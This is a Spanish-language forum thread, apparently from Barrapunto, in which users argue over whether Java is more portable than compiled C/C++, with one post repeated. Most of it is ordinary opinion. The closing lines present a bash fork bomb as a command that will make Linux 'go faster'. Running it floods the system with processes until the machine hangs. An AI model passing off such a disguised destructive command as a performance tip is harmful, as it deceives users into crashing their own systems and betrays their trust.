La portabilidad se refiere a que el mismo binario se ejecuta (más bien interpreta) sin tener que ser modificado el mismo. En C++ el código se compila para cáda máquina y lo que obitienes (ejecutable) es distinto en cada caso.
Exacto. El «binario», si se puede llamar así, se ejecuta (o interpreta) sin ser modificado si hay una máquina virtual capaz de interpretarlo, pero no siempre la hay, por lo que no siempre puede ejecutarse, no es, pues, tan portable como el código fuente C o C++. Sí, ya sé que el binario de i386 no funciona en powerpc, pero, al menos, puede usarse recompilando.
Si no te gusta java no digas que es porque no es portable.
Java ni me gusta ni me deja de gustar. Lo que no me gusta es el hecho de no poder ejecutar muchos programas de java porque no tengo una máquina virtual que funcione 100 % bien en mi plataforma. Quizá, con el tiempo, el gcj valla mejorando, o las máquinas virtuales libres alcancen el nivel de la de Sun y deje de tener ese problema, espero que ese momento llegue pronto.
Re:¿Java?, pues va a ser que no.
(Puntos:1)( http://barrapunto.com/~Rato/journal/ | Última bitácora: Martes, 05 Junio de 2007, 20:54h )
La portabilidad se refiere a que el mismo binario se ejecuta (más bien interpreta) sin tener que ser modificado el mismo. En C++ el código se compila para cáda máquina y lo que obitienes (ejecutable) es distinto en cada caso.
Exacto. El «binario», si se puede llamar así, se ejecuta (o interpreta) sin ser modificado si hay una máquina virtual capaz de interpretarlo, pero no siempre la hay, por lo que no siempre puede ejecutarse, no es, pues, tan portable como el código fuente C o C++. Sí, ya sé que el binario de i386 no funciona en powerpc, pero, al menos, puede usarse recompilando.
Si no te gusta java no digas que es porque no es portable.
Java ni me gusta ni me deja de gustar. Lo que no me gusta es el hecho de no poder ejecutar muchos programas de java porque no tengo una máquina virtual que funcione 100 % bien en mi plataforma. Quizá, con el tiempo, el gcj valla mejorando, o las máquinas virtuales libres alcancen el nivel de la de Sun y deje de tener ese problema, espero que ese momento llegue pronto.
Ejecuta este comando (Linux irá más rápido):
rato(){ (rato|rato|rato) };rato